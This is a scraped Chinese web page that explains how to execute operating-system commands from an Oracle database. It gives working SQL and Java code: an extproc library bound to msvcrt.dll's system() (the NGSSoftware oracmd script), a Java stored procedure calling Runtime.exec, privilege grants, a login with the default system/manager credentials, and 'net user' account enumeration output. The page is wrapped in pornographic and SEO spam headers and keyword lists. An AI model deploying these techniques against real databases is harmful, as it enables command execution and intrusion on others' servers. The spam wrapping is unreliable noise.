校园春色亚洲色图_亚洲视频分类_中文字幕精品一区二区精品_麻豆一区区三区四区产品精品蜜桃

主頁 > 知識庫 > oracle執行cmd的實現方法

oracle執行cmd的實現方法

熱門標簽:南通防封外呼系統運營商 淮安自動外呼系統開發 宜賓外呼系統廠家 修改高德地圖標注 地圖標注原件 語音電話機器人缺點 百變地圖標注 語音電話機器人營銷方案 廣州市400電話辦理
不過有一個簡單的執行cmd命令方法:
SQL> host net user
User accounts for \\PC-ATQHJ4UG1SDA
----------------------------------------------------------------------------
__vmware_user__ admin Administrator
ASPNET Guest IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0
The command completed successfully.
unix或linux下用
! command
======================補充======================
網上的另兩種方法:
1是利用msvcrt.dll
寫一個c:\orac.sql
內容:
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to david@ngssoftware.com
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
然后C:\&;sqlplus /nolog
SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
(c) Copyright 2000 Oracle Corporation. All rights reserved.
SQL> connect system/manager@orcl (分別是用戶名密碼和sid)
Connected.
SQL> @c:\orac.sql
Library created.
No errors.
Package created.
No errors.
Package body created.
No errors.
SQL>
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
結果在我本機出現
第 1 行出現錯誤:
ORA-28595: Extproc 代理: DLL 路徑無效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1
沒有成功。
第二種方法
c:\1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
c:\2.sql
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
c:\3.sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
登陸上去后依舊是依次執行
SQL> @c:\1.sql
/
@c:\2.sql
/
@c:\3.sql
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;(網上的方法沒有這一行,我無法成功,加上去可以)
exec :x:=run_cmz('ipconfig'); 成功運行了命令
測試環境win2003+oracle11g
您可能感興趣的文章:
  • Oracle數據庫常用命令整理(實用方法)
  • Oracle利用errorstack追蹤tomcat報錯ORA-00903 無效表名的問題
  • Oracle按身份證號得到省市、性別、年齡的示例代碼
  • Windows10安裝Oracle19c數據庫詳細記錄(圖文詳解)
  • Shell腳本連接oracle數據庫的實現代碼
  • Oracle數據庫服務器修改操作系統時間的注意事項詳解
  • Linux一鍵部署oracle安裝環境腳本(推薦)
  • CMD操作oracle數據導庫過程圖解

標簽:股票投資 嘉峪關 聊城 襄陽 池州 南平 南平 通化

巨人網絡通訊聲明:本文標題《oracle執行cmd的實現方法》,本文關鍵詞  oracle,執行,cmd,的,實現,方法,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《oracle執行cmd的實現方法》相關的同類信息!
  • 本頁收集關于oracle執行cmd的實現方法的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 满洲里市| 临高县| 建宁县| 阿图什市| 新昌县| 汾阳市| 博湖县| 徐州市| 陆川县| 东莞市| 积石山| 西平县| 金川县| 广宁县| 将乐县| 拉孜县| 江北区| 绥化市| 偏关县| 延庆县| 通榆县| 桂阳县| 二连浩特市| 弋阳县| 三原县| 财经| 桂林市| 天全县| 六枝特区| 建昌县| 高邮市| 德惠市| 安远县| 葫芦岛市| 临朐县| 武功县| 大连市| 遂川县| 宁陵县| 三都| 哈巴河县|